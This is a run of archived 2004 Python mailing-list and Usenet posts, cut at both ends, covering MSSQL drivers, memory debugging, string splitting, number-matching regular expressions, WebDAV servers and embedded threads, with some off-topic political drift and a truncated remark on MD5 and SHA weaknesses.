XML over HTTP. I will parse the XML myself and return appropriate response. What do I need to do / use to serve the clients request? (synchronous) Thanks, Tertius From no.spam at here.dude Thu Sep 2 20:06:15 2004 From: no.spam at here.dude (red floyd) Date: Fri, 03 Sep 2004 00:06:15 GMT Subject: Xah Lee's Unixism In-Reply-To: <1094158110.307899@teapot.planet.gong> References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <1094141001.125507@teapot.planet.gong> <ch7nnq$sk1$1@baldur.whoi.edu> <874qmgifgy.fsf@thalassa.informatimago.com> <1094158110.307899@teapot.planet.gong> Message-ID: <XzOZc.14808$ao.8821@newssvr27.news.prodigy.com> Rupert Pigott wrote: > It was specifically the 68000. Fixes were made that took effect in the > 68010 and 68020. Dunno about 68008. IIRC the problem was that you could > not restart some instructions properly. Some UNIX workstations did use > 68Ks, there was an Apollo that had two of them running in lock-step, > with one of them one instruction behind the other. When the leading CPU > barfed, action would be taken and the other CPU would take over. Someone > in comp.arch worked on the Fortune boxes and IIRC he claimed they had a > more elegant single CPU solution. 68000 - original 68010 - 68000 + SR access is privileged, CCR is unpriviliated + instruction restart for VM access 68008 -- 68000 with 8 bit external data bus, possibly restricted address bus (can't remember) 68020 -- 68010 + full 32-bit 68030 -- 68020 + MMU From newsreply at transfertech.de Thu Sep 30 10:27:23 2004 From: newsreply at transfertech.de (Axel Mittendorf) Date: Thu, 30 Sep 2004 16:27:23 +0200 Subject: thread execution order References: <cjh1hd$rek$03$1@news.t-online.com> <STT6d.25$Za.8@llslave.llan.ll.mit.edu> Message-ID: <cjh4nb$opt$05$1@news.t-online.com> "Rembrandt Q Einstein" wrote: > I wouldn't do this with threads. I'd use select() or similar to see if > the pipe is writable and if it isn't, buffer internally. I thought about something like this too, but since I'm not allowed to use some kinda timer to write out the pending data I can't it that way. Therefor I wondered to use threads. THX, Axel From narshe at gmail.com Thu Sep 30 10:01:37 2004 From: narshe at gmail.com (Josh Close) Date: Thu, 30 Sep 2004 09:01:37 -0500 Subject: python connection to mssql from windows box In-Reply-To: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu> References: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu> Message-ID: <4a0cafe20409300701495192f0@mail.gmail.com> On Thu, 30 Sep 2004 09:09:05 +0100, Tim Golden <tim.golden at viacom-outdoor.co.uk> wrote: > I think you're asking for this: > > http://www.object-craft.com.au/projects/mssql/ > > (which, by the way, is the first non-mailing-list result > Google gives for python mssql) > > TJG Google? What's that? I use the Sybase module by object-craft for linux/python connections to mssql, and I refuse to use the mssql module due to these things listed on the main mssql page. There are a few things that do not work - the work still has not been done. * Almost no testing has been performed - if you use the module you will be a pioneer. * You cannot send parameters to Cursor.execute() - for the moment you must format an SQL expression with the parameters inline. * On Windows the Cursor.callproc() method does not work. Some guru will have to figure out what is going wrong (i.e. not me). You can achieve the same result by simply using Cursor.execute(). For example: c = db.cursor() c.execute('sp_help titles') * The state machine for the Cursor class is quite hokey. It returns COMPUTE rows in their own result set. At some stage this will be cleaned up. * The Connection.commit() and Connection.rollback() methods have not been implemented. So basically it *kind of* works, but not well. I'm talking about native windows module that uses the client tools api. Maybe ADO will be the best thing for me. I've seen some problems with that too though...... man I hate mssql. -Josh From peter at engcorp.com Thu Sep 9 21:19:41 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 Sep 2004 21:19:41 -0400 Subject: attribute assignment effects all class instances In-Reply-To: <090920041659242407%anon@anon.net> References: <090920041659242407%anon@anon.net> Message-ID: <QbOdnckyoJqznNzcRVn-vQ@powergate.ca> anon wrote: > I'm aware that you can assign a value to an attribute in all class > instances by assigning to <Class>.<attribute>, however, my case is > slightly different and bizarre. Jeffrey Froman gave you a correct answer already, but I wanted to point out a problem with the above, which might indicate another area where you have a misunderstanding. What you say above is technically wrong, so I hope it was just a poor choice of wording. Assigning to Class.attribute as you describe absolutely does NOT "assign a value to an attribute in all class instances". What it actually does is it "assigns a value to an attribute in the class", and that attribute just happens to be *visible* to all instances. They do not actually have that attribute themselves, however. I put the "assigns a value" part in quotation marks as well, because in Python it is more accurate to talk about "binding names" than assigning values. Thus you should really say that you can bind a name in the class and it will be visible to all instances, but the instances themselves do not have that name bound... Hope that helps clarify things, or at least I hope it helps you in asking subsequent questions. :-) -Peter From walter at livinglogic.de Thu Sep 23 15:27:23 2004 From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Thu, 23 Sep 2004 21:27:23 +0200 Subject: Parsing HTML In-Reply-To: <q1g5l01ncbcugeq9e7q67q92e6rfq7ag9p@4ax.com> References: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se> <gcd5l09sqefftfsfh2uulon84vtm1qo5fb@4ax.com> <q1g5l01ncbcugeq9e7q67q92e6rfq7ag9p@4ax.com> Message-ID: <4153239B.80708@livinglogic.de> Richie Hindle wrote: > [Richie] > >>BeautifulSoup is perfect for this job: > > > Um, BeautifulSoup may be perfect, but my script isn't. It fails with the > Swedish page because it doesn't cope with "<b></b>" appearing in the HTML. > And I don't know whether you'd consider it correct to extract only the bold > text from the entries that have bold text. But it gives you a place to start. > 8-) Another option might be the HTML parser from libxml2 (www.xmlsoft.org): >>> import libxml2 >>> doc = libxml2.htmlParseFile("http://www.python.org", None) http://www.python.org:3: HTML parser error : htmlParseStartTag: invalid element name <?xml-stylesheet href="./css/ht2html.css" type="text/css"?> ^ >>> doc.serialize() '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "ht... Bye, Walter D?rwald From aleaxit at yahoo.com Mon Sep 6 17:26:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 23:26:06 +0200 Subject: python memory analysis References: <mailman.2921.1094475473.5135.python-list@python.org> Message-ID: <1gjpsl8.7u25cb19847yeN%aleaxit@yahoo.com> Alexander Hoffmann <alexander.hoffmann at netgenius.de> wrote: > Hello, > > I wrote a deamon like program in python and after a while I realized that it > consumes more and more memory over time. So my question is: How to debug > memory leaks in python ? > Of course I found the built-in profiler but it only helps to make > performance analysis. Is there a way (or a tools) to view all the instances > that are kept im memory by the interpreter ? It's actually quite a problem, sigh. gc.get_objects() gives you a list of all objects tracked by the garbage collector (pretty close to, "all the objects" period) but that's just the beginning, now you have to find out what each object IS, why is it around (functions get_referents and get_referrers can help), and hardest of all how much memory that particular object IS actually consuming. How to estimate the latter is a headache. E.g. consider a list of integers. A list with a 1,000,000 items which are all worth 1438397 presumably has a single copy of that particular int shared by all slots (but that's not certain... you'd need to check for that) so you're paying for a million slots plus one int (and there is no clear doc as to how much that means in bytes on a given platform, btw). If the items are all different then you're paying for a million slots plus a million ints (unless some of those ints are actually also used and still needed elsewhere). Still I really wish I had a call gc.memory_howmuch(objs) returning a tuple of two ints X <= Y, telling me that the memory taken up by all the objs together, the memory I could get back for other purposes if all references to all of the objs went away, is somewhere between X and Y bytes -- i.e. if all of the objs went away I'd save at least X bytes but surely no more than Y. How small one could make Y-X, how tight the bounds could be, may be harder to gauge, but it may depend on how much one wants to invest in digging deep down... Alex From peter at engcorp.com Mon Sep 13 13:09:26 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 Sep 2004 13:09:26 -0400 Subject: Small inconsistency between string.split and "".split In-Reply-To: <mailman.3241.1095094663.5135.python-list@python.org> References: <mailman.3241.1095094663.5135.python-list@python.org> Message-ID: <LJSdnepvP_vbSdjcRVn-hg@powergate.ca> Carlos Ribeiro wrote: > While writing a small program to help other poster at c.l.py, I found > a small inconsistency between the handling of keyword parameters of > string.split() and the split() method of strings. I wonder if someone > else had ever stumbled on it before, and if it has a good reason to > work like it is. > > Both implementations take two parameters: the separator character and > the max number of splits (maxsplit). However, string.split() accept > maxsplit as a keyword parameter, while mystring.split() doesn't. In my > case, it meant that I had to resort to string.split() in my example, > in order to avoid having to deal with the separator. Works here: c:\>python Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> s = 'this is my string' >>> s.split() ['this', 'is', 'my', 'string'] >>> s.split('s') ['thi', ' i', ' my ', 'tring'] >>> s.split('s', 1) ['thi', ' is my string'] >>> s.split('s', 2) ['thi', ' i', ' my string'] > ** BTW, I had to avoid dealing with the separator for another annoying > reason: I thought that I could do something like this: > > mystring.split(string.whitespace, 2) > > to preserve the default whitespace detecting behavior. But it won't > work this way with neither implementation of split(). I think this works though: >>> s.split(None, 2) ['this', 'is', 'my string'] >>> s.split(None, 1) ['this', 'is my string'] -Peter From aleaxit at yahoo.com Sun Sep 5 17:03:26 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 23:03:26 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com> <mailman.2907.1094416926.5135.python-list@python.org> Message-ID: <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: ... > first time -- it's obvious once you see it, but still, for some > reason, the list comprehension was more intuitive for me. I don't know > about the rest of Pythoneers, specially newbies, but understanding > *why* did I came up with my version may help to illustrate the mental > model surrounding iterators. I dunno either, but, FWIW, my wife Anna also had the same issue -- she thought list comprehensions were always the right way to make lists. It may have to do with the issue that list comprehension are a neat GENERAL tool, while calling list, like calling, say, map or filter, may be concise, clear and efficient but only works in specific cases. Just a guess on my part, but it seems a reasonable hypothesis. Anna, do you have any opinion in the matter? Alex From iddw at hotmail.com Wed Sep 8 19:36:49 2004 From: iddw at hotmail.com (Dave Hansen) Date: Wed, 08 Sep 2004 23:36:49 GMT Subject: Xah Lee's Unixism References: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <vG6_c.16947$aB1.13654@twister.socal.rr.com> <bluhj0p6rvrmdrftvrsno9e8vis6mfgvp3@4ax.com> <ii8_c.17015$aB1.9921@twister.socal.rr.com> <v9rrj09kghqeggkeuo7p48vnrmrtbuodab@4ax.com> Message-ID: <413f6044.512285562@News.individual.net> On Tue, 07 Sep 2004 10:29:04 -0700, Alan Balmer <albalmer at att.net> wrote: >On Sat, 04 Sep 2004 00:49:18 GMT, gwschenk at fuzz.socal.rr.com (Gary >Schenk) wrote: > [...] >>Don't you dittoheads ever get your facts right? > > >What's a "dittohead"? Are you trying to convey a personal insult of >some kind? Please let me know, so I can call you a name, too. A "dittohead" is someone who regularly listens to and agrees with Rush Limbaugh (popular conservative U.S. radio talk show host). It is a tradition that callers on his show (at least those that agree with him) start their call with something like "Country redneck dittos to you, Rush," or "Hey, Rush, blues-pickin' Cajun dittos" before launching into the subject of their call. It is intended to be an insult implying the "dittoheads" don't have any thoughts of their own, but merely are told what to think (probably by Rush), and do so. The "dittoheads" have embraced the moniker but not the implication, seeing the insult as an act of desperation attacking the person (ad hominem) rather than addressing the issues. FWIW, I listen to Rush because he's the most entertaining thing on the radio during my lunch hour, but I don't agree with him often enough to be a dittohead. ObPython: Rush could have been the basis of a great Monty Python skit. AFWIW, My youngest nephew (5 months old) is named for his father. My sister doesn't want him known as "Junior," so she is contemplating the nickname "Ditto." ObPerl: There really _is_ more than one way to do it. ObUnix: Max OS X has a "ditto" command that's the same as "cp" only different. ObLisp: I can't think of a thing. Weclome to afc thread drift... Regards, -=Dave -- Change is inevitable, progress is not. From narshe at gmail.com Mon Sep 27 16:17:59 2004 From: narshe at gmail.com (Josh Close) Date: Mon, 27 Sep 2004 15:17:59 -0500 Subject: batch pretty (color) print of python code? In-Reply-To: <cj9rt8$l3k$1@nrc-news.nrc.ca> References: <cj9rt8$l3k$1@nrc-news.nrc.ca> Message-ID: <4a0cafe20409271317314ebaea@mail.gmail.com> On Mon, 27 Sep 2004 16:07:03 -0400, Humpdydum <oliver.schoenborn at utoronto.ca> wrote: > Any freeware/open-source that does that? Windows- OR Linux-based is fine. On > Linux it would be s/t like "pyprint -r *.py > out.ps" where -r indicates > recursive. Done a search on google and nothing solid comes up. So far I've > been using Boa's print feature, which means one file at a time, tedious. > Thanks, > Oliver Do you want the text to be colored on the command line? Not exactly sure what you mean. If so, gentoo has a very nice module for that, that comes with portage. It's located here /usr/lib/portage/pym/output.py All it does is uses \ values for color. -Josh From jeff at ccvcorp.com Thu Sep 2 16:49:16 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 02 Sep 2004 13:49:16 -0700 Subject: multipart/form-data in an HTTP client In-Reply-To: <mailman.2759.1094116067.5135.python-list@python.org> References: <mailman.2759.1094116067.5135.python-list@python.org> Message-ID: <10jf1nos7aelte8@corp.supernews.com> Ames Andreas (MPA/DF) wrote: >Hello, > >Jeff Shannon wrote: > > > >>I, too, was surprised that the existing Python libraries don't >>directly support multipart/form-data already, and I hope that this >>gets added in soon. >> >> > >I'm not sure what you'd call 'support' and I'm certainly no http guru, >so my hint my be far away from what you want (sorry if so), but the >function 'parse_multipart' and the class 'FieldStorage' in cgi.py >(v2.3) both handle multipart/formdata typed requests. > > Right, but those handle it from the server side, not the client side. (I failed to specify that I was speaking of client-side support, via urllib2 or equivalent, having assumed that that would be apparent from the post I was replying to.) Jeff Shannon Technician/Programmer Credit International From Scott.Daniels at Acm.Org Wed Sep 29 09:55:27 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Wed, 29 Sep 2004 06:55:27 -0700 Subject: Support for ODBC for Oracle through Python on solaris In-Reply-To: <Ko2dnccQAM7BM8fcRVn-gg@giganews.com> References: <1880e162.0409290434.6a3279db@posting.google.com> <Ko2dnccQAM7BM8fcRVn-gg@giganews.com> Message-ID: <415ac2e8@nntp0.pdx.net> Istvan Albert wrote: > Nagendra wrote: > >> Is there any support in the python to do this or will i have to resort >> to a c/c++ program becuase python for UNIX doesn't support this. >> any pointers will be appriciated. > look here > http://www.egenix.com/files/python/mxODBC.html > Istvan. I concur. mxODBC represents a lot of heavy lifting to produce a nice simple result. It makes SQL through ODBC so simple you can be fooled into thinking it is a simple thing and not worth the money. -Scott David Daniels Scott.Daniels at Acm.Org From gary.wilson at gmail.com Sun Sep 26 12:59:59 2004 From: gary.wilson at gmail.com (gary) Date: 26 Sep 2004 09:59:59 -0700 Subject: regular expression for integer and decimal numbers References: <f23116.0409231651.7aeb19c0@posting.google.com> <pbadnZrDHOinY87cRVn-jg@powergate.ca> <f23116.0409251213.6fcee6c5@posting.google.com> <cj4tfm$seh$0$216.39.172.122@theriver.com> Message-ID: <f23116.0409260859.1717e9f2@posting.google.com> bokr at oz.net (Bengt Richter) wrote in message news:<cj4tfm$seh$0$216.39.172.122 at theriver.com>... > On 25 Sep 2004 13:13:22 -0700, gary.wilson at gmail.com (gary) wrote: > > >Peter Hansen <peter at engcorp.com> wrote in message news:<pbadnZrDHOinY87cRVn-jg at powergate.ca>... > >> gary wrote: > >> > I want to pick all intergers and decimal numbers out of a string. > >> > Would this be the most correct regular expression to use? > >> > > >> > "\d+\.?\d*" > >> > >> Examples, including the most extreme cases you want to handle, > >> are always a good idea. > >> > >> -Peter > > > >Here is an example of what I will be dealing with: > >""" > >TOTAL FIRST DOWNS 19 21 > > By Rushing 11 6 > > By Passing 6 10 > > By Penalty 2 5 > >THIRD DOWN EFFICIENCY 4-11-36% 6-14-43% > >FOURTH DOWN EFFICIENCY 0-1-0% 0-0-0% > >TOTAL NET YARDS 379 271 > > Total Offensive Plays (inc. times thrown passing) 58 63 > > Average gain per offensive play 6.5 4.3 > >NET YARDS RUSHING 264 115 > >""" > Are you sure you want to throw away all the info implicit in the structure of that data? > How about the columns? Will you get other input with more columns? There are several other instances in the files that I am extracting data from where the numbers are not so nicely arranged in columns, so I am really looking for something that could be used in all instances. (http://www.nfl.com/gamecenter/gamebook/NFL_20020929_TEN at OAK) I do however still need to convert everything from string to numbers. I was thinking about using the following for that unless someone has a better solution: >>> def StrToNum(str): ... try: return int(str) ... except ValueError: ... try: return float(str) ... except ValueError: return str >>> statlist = ['10', '6', '2002', 'tampa bay buccaneers', 'atlanta falcons', 'the georgia dome', '1', '03', 'pm', 'est', 'artificial', '0', '3', '7', '10', '0', '20', '3', '0', '3', '0', '0', '6', '15', '14', '5', '2', '9', '10', '1', '2', '4', '13', '31', '3', '14', '21', '1', '1', '100', '0', '1', '0', '327', '243', '59', '64', '5.5', '3.8', '74', '70', '26', '22', '2.8', '3.2', '2', '3', '2', '3', '253', '173', '2', '8', '4', '14', '261', '187', '31', '17', '1', '38', '17', '4', '7.7', '4.1', '5', '3', '0', '3', '2', '2', '5', '43.2', '5', '45.6', '0', '0', '0', '0', '0', '0', '31.2', '41.6', '50', '40', '0', '0', '3', '40', '0', '0', '5', '120', '4', '50', '1', '0', '6', '35', '6', '41', '1', '1', '0', '0', '2', '0', '0', '0', '1', '0', '1', '0', '2', '2', '0', '0', '2', '2', '0', '0', '2', '2', '2', '3', '0', '2', '0', '0', '2', '0', '0', '1', '0', '0', '0', '0', '0', '0', '20', '6', '29', '34', '30', '26', '3', '37', '9', '59', '9', '35', '6', '23', 0, 0, '11', '23', '5', '01', '5', '25', '8', '37', 0, 0, '26'] >>> [StrToNum(item) for item in statlist] [10, 6, 2002, 'tampa bay buccaneers', 'atlanta falcons', 'the georgia dome', 1, 3, 'pm', 'est', 'artificial', 0, 3, 7, 10, 0, 20, 3, 0, 3, 0, 0, 6, 15, 14, 5, 2, 9, 10, 1, 2, 4, 13, 31, 3, 14, 21, 1, 1, 100, 0, 1, 0, 327, 243, 59, 64, 5.5, 3.7999999999999998, 74, 70, 26, 22, 2.7999999999999998, 3.2000000000000002, 2, 3, 2, 3, 253, 173, 2, 8, 4, 14, 261, 187, 31, 17, 1, 38, 17, 4, 7.7000000000000002, 4.0999999999999996, 5, 3, 0, 3, 2, 2, 5, 43.200000000000003, 5, 45.600000000000001, 0, 0, 0, 0, 0, 0, 31.199999999999999, 41.600000000000001, 50, 40, 0, 0, 3, 40, 0, 0, 5, 120, 4, 50, 1, 0, 6, 35, 6, 41, 1, 1, 0, 0, 2, 0, 0, 0, 1, 0, 1, 0, 2, 2, 0, 0, 2, 2, 0, 0, 2, 2, 2, 3, 0, 2, 0, 0, 2, 0, 0, 1, 0, 0, 0, 0, 0, 0, 20, 6, 29, 34, 30, 26, 3, 37, 9, 59, 9, 35, 6, 23, 0, 0, 11, 23, 5, 1, 5, 25, 8, 37, 0, 0, 26] Another thing was that I found a negative number which kinds screws up the regex's previously disscussed. So I came up with a workaround below: >>> str = """ ... FGs - PATs Had Blocked 0-0 0-0 ... Net Punting Average -6.3 33.3 ... TOTAL RETURN YARDAGE (Not Including Kickoffs) 14 257 ... No. and Yards Punt Returns 1-14 2-157 ... """ >>> str = re.sub(r"(\d+)-",r"\1 ",str) #replace number followed by dash with number followed by space >>> teamstats = re.findall(r"-?\d+\.?\d*",str) #regex discussed before but with an optional negative sign in front >>> teamstats ['0', '0', '0', '0', '-6.3', '33.3', '14', '257', '1', '14', '2', '157'] >>> [StrToNum(item) for item in teamstats] [0, 0, 0, 0, -6.2999999999999998, 33.299999999999997, 14, 257, 1, 14, 2, 157] Gary From tungwaiyip at yahoo.com Thu Sep 2 19:51:41 2004 From: tungwaiyip at yahoo.com (Wai Yip Tung) Date: Thu, 02 Sep 2004 16:51:41 -0700 Subject: read lines without the line break character at the end? References: <opsdpjkwte433nmu@news.cisco.com> <m3y8jsej62.fsf@pc150.maths.bris.ac.uk> Message-ID: <opsdp4kflz433nmu@news.cisco.com> Thanks, I like the rstrip() syntax. Coming from Java background. I made too many mistakes forgetting to strip the '\n' before using the string. > "Wai Yip Tung" <tungwaiyip at yahoo.com> writes: > >> When I do >> >> for line in fp: >> >> the line string usually has a '\n' at the end. In many cases I don't >> want the line break character. I can trim it using >> >> if line.endswith('\n'): line = line[:-1] >> >> Given I do it so frequently I wonder if there is some builtin way to >> say I don't wnt the line break character? > > No. line.rstrip('\n') is a shorter way of trimming the newline > character, though. > > I guess adding > > def without_newlines(thing): > for line in thing: > yield line.rstrip('\n') > > to your snippet collection will do. > > Cheers, > mwh > From claird at lairds.us Wed Sep 29 14:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Wed, 29 Sep 2004 18:08:05 GMT Subject: Social Analysis and Modeling for Python References: <mailman.4083.1096472628.5135.python-list@python.org> Message-ID: <9g7r22-0eg.ln1@lairds.us> In article <mailman.4083.1096472628.5135.python-list at python.org>, Bishara Gabriel <bgabriel at cloudthunder.com> wrote: >I encourage feedback from all parties and especially those which would >like to be directly involved (I may include you in the grant proposal >and budget). Send me your comments! > >-------> > >Project Objective > >We seek to introduce the advantages of object-oriented programming to >the realm of social sciences. We believe the fields thereof (economics, >history, sociology, political science, etc.), have much to gain from >OOP?s ability to represent social constructs. Particularly, we have >found Python to be well suited to the rapid formulation of social models >due to its syntactic simplicity, outstanding support for object-oriented >programming, and comprehensive libraries. Unfortunately, most academics >in the aforementioned fields are unaware of the capabilities, let alone >applicability, of programmatic representation. Those who do are >typically put off by the inadequacy and complexity of more traditional >languages such as C and C++. We therefore propose to disseminate an >understanding among these fields of the ability to develop social models >and represent social constructs via the rapid modeling capabilities of >the Python language. We seek to demonstrate how Python presents to them >limited costs in production time via its language features, and to show >how social models can be mentally approached in such a way that there >exists a one-to-one correlation between their theoretical model and the >Python equivalent. > >See the rest of the proposal at: >http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf I'm a bit sour about this. Academics are, of course, entirely justified when "put off by ... C and C++." I also entirely agree that Python is a great vehicle for all sorts of research. Moreover, the language of your charter is no more stiff than my own writing sometimes become. For all these reasons, your efforts have my sympathy. It deeply concerns me, though, that you imagine you might "introduce the advantages of object-oriented programming to the realm of social sciences." A quarter of a century ago, Simula enthusiasts were already demonstrating success at the same mission. This makes me wonder if your project might do well to research its foundations a few days more--or at least expressing them more judiciously. From josephwinston at mac.com Wed Sep 8 09:15:39 2004 From: josephwinston at mac.com (Jody Winston) Date: Wed, 08 Sep 2004 13:15:39 GMT Subject: WebDAV Server Message-ID: <m3n0009a10.fsf@frank.xprtcc.com> I'd like to present a view of an internal data store, which has Python interface built using SWIG, so that my users can traverse and manipulate the data store using familiar tools. My first thought was to adapt an existing WebDAV server. However, I cannot seem to find a simple way to do this. davserver-0.5.1 by Christian Scholz doesn't work with 4Suite 1.0a3 and I couldn't find an implementation for twisted. Of course, Zope has a WebDAV server, but I don't know if using Zope is overkill. Should I continue down this path and if I do, should I write a WebDAV server for twisted or bite the bullet and use Zope? -- Jody Winston From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Thu Sep 23 06:55:53 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 23 Sep 2004 11:55:53 +0100 Subject: for_some(), for_all()? In-Reply-To: <2Pt4d.5569$sa.1897@trndny05> References: <opseqmpvg86yt6e7@news.cisco.com> <cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05> Message-ID: <ciua3q$lru$1@pegasus.csx.cam.ac.uk> Raymond Hettinger wrote: > For pure speed, the following is faster and gives short-circuit behavior: > >>>>from itertools import ifilter >>>>def any(seq, pred=None): > > ... for elem in ifilter(pred, seq): > ... return True > ... return False Nice! I've always found the itertools examples exceptionally useful. Is there a reason why they aren't in the standard library? I find myself copying and pasting the snippets all the time. -- Michael Hoffman From glc at well.com Thu Sep 16 11:21:54 2004 From: glc at well.com (Greg Chapman) Date: Thu, 16 Sep 2004 15:21:54 GMT Subject: Embedded python with threads References: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net> Message-ID: <ppbjk0pqp99ep8lob24is1n60eqmbuhhqs@4ax.com> On Wed, 15 Sep 2004 18:05:54 +0200, nik <my.news.groups at noos.fr> wrote: >//// >Py_Initialize(); > >// PyImport_ImportModule blocks until the myModule script has run >// through... >PyObject* module = PyImport_ImportModule("myModule"); > >PyObject* function = PyObject_GetAttrString(module, "GetList"); >while(1) { > PyObject* pyList = PyObject_CallFunction(function, ""); > // use the stuff in pyList > sleep(15); > } I'm not sure I fully understand your problem, but in the loop above, you should have: Py_BEGIN_ALLOW_THREADS sleep(15); Py_END_ALLOW_THREADS This releases the Python GIL during the sleep call, allowing your list-filling thread to run. > ># the following statement happens when the C++ app imports the module, ># but the thread only lives as long the main python thread (which is ># over straight away on my linux PC) > This is what I don't understand, since the Python main thread should be the thread on which Py_Initialize was called; it should remain alive (from Python's perspective) until Py_Finalize is called. --- Greg Chapman From peter at somewhere.com Tue Sep 28 05:12:02 2004 From: peter at somewhere.com (Peter Maas) Date: Tue, 28 Sep 2004 11:12:02 +0200 Subject: synchronize a block In-Reply-To: <WfudnV7vZuEUpMXcRVn-jQ@powergate.ca> References: <2rqduhF1di4lmU1@uni-berlin.de> <b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01> <WfudnV7vZuEUpMXcRVn-jQ@powergate.ca> Message-ID: <cjb9tk$spo$1@swifty.westend.com> Peter Hansen schrieb: > Sometimes, and more so lately, *painfully* slowly. I'm somewhat > saddened by the waste involved in some of those threads where the > OP posts a vague question, we all spend days replying with various > guesses at what was really intended, and then finally the OP > posts again (and sometimes they don't even do us that courtesy!) > and says merely "oh, it wasn't that complicated, I just meant X" > and it turns out to have been a FAQ item anyway. :-( The best way to minimize c.l.py effort is to behave like an expert system: synchronize: unknown. Please explain. -- ------------------------------------------------------------------- Peter Maas, M+R Infosysteme, D-52070 Aachen, Tel +49-241-93878-0 E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64') ------------------------------------------------------------------- From albalmer at att.net Tue Sep 14 15:09:21 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 14 Sep 2004 12:09:21 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <tqm7jqwrdxc.fsf@drizzle.com> Message-ID: <h9gek09d62651te861d33nhvqgqm4htdf5@4ax.com> On 14 Sep 2004 09:52:15 -0700, Patrick Scheible <kkt at drizzle.com> wrote: >Morten Reistad <firstname at lastname.pr1v.n0> writes: > >> I do not agree. Kennedy and Clinton had a lousy foreign-policy >> record. The Bay of Pigs, Vietnam, the Cuba crisis were all >> examples of glorious miscalculations. Ditto Rwanda, Somalia, and >> the > >Vietnam was certainly a catastrophe, but the blame goes to Johnson, >not Kennedy. There were only a few thousand U.S. troops in training >and advisory roles in Vietnam by Kennedy's assassination. Johnson >decided to escalate the war and have U.S. forces fight directly. > >Even the best presidents can't have nothing but successes. The Bay of >Pigs was a failure, but at least Kennedy didn't compound the mistake >by sending in U.S. troops where Cuban expats failed. > I didn't get the reference to the "Cuba crisis", either. I assume it refers to the missile crisis (which kept me in Oakland for a week while the Army decided which country to send us to.) I thought it was the Cubans and Russians who miscalculated that one. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From kdahlhaus at yahoo.com Mon Sep 13 08:34:05 2004 From: kdahlhaus at yahoo.com (Kevin Dahlhausen) Date: 13 Sep 2004 05:34:05 -0700 Subject: Sample distutil setup.py script that uses SWIG and C++? Message-ID: <283adf56.0409130434.2ae0ba73@posting.google.com> Could anyone post a simple setup.py script that uses a SWIG interface to C++ code and the mingw compiler? I followed some online samples, and am using the setup.cfg file to specify swig-c++=1. Trying to build using mingw out of the cygwin environment but the final call to link the extension calls directly to 'cc' which I think should really be g++ at that point. Did get everything to build with a Makefile, but that's not the right way to go. From kirk at eyegor.jobsluder.net Sun Sep 12 22:06:27 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Mon, 13 Sep 2004 02:06:27 GMT Subject: MD5 and SHA cracked/broken... References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> Message-ID: <slrncka03t.2a1q.kirk@eyegor.jobsluder.net> On 2004-09-11, Magnus Lie Hetland <mlh at furu.idi.ntnu.no> wrote: > Basically, at Crypto 2004 preliminary papers were presented that > pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell, > MD5 is broken and SHA-1 seems to be in a precarious position (even > though I don't know the details at all). It is always good to read carefully. An algorithm has been published that makes it easier than it 